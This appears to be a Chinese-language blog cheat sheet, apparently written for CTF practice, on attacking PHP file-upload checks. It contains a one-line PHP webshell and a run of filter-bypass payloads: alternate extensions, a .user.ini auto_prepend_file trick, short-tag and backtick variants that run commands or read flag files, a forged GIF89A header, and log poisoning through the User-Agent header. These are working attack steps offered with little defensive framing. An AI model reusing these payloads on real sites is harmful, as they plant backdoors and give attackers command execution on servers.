#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外) 如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME 检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
命令执行函数:
eval():解析成php语言
system():执行括号内命令
一句话木马:
<?php @eval($_POST(cmd));?>
然后post数据发送:cmd=system("命令");
流程:
查看源码看前端验证,修改js上传相应文件
抓包发送,查看是否过滤文件属性,过滤则修改MIME属性
依然失败,分几种情况
若服务端过滤文件后缀
可用.Php或.php5/4/3/2/1或.php.jpg来绕过
可用.user.ini文件进行读取,具体步骤:上传.user.ini文件,文件包含打算上传的payload文件名,就直接用要求上传的后缀,auto_prepend_file=test.png,然后再上传payload文件,然后就可以直接在文件上传目录读取命令。原因:
服务端·验证文件内容进行过滤,将<?php @eval($_POST(cmd));?>依次进行删除,来看哪个被过滤
过滤php,直接用<?=(表达式)?>
过滤[],可用{}代替,如:<?=eval($_POST{x});?>
过滤:号和php:直接<?=system('tac ../fl*')?>或<? echo `tac /var/www/html/f*`?>读取文件
过滤括号,可以直接用<?=`tac ../fl*`?>,//``反引号会把它当作命令去执行
过滤文件头,直接在代码最前面加上要求的文件格式的文件头即可,如:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
都过滤·,包含日志文件,再用文件包含上传,若过滤敏感文件,可用.连接符进行连接。再访问该网站,抓包修改ua头为命令执行木马,再次访问日志目录,即可执行木马,进行POST上传执行文件。如:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
网友评论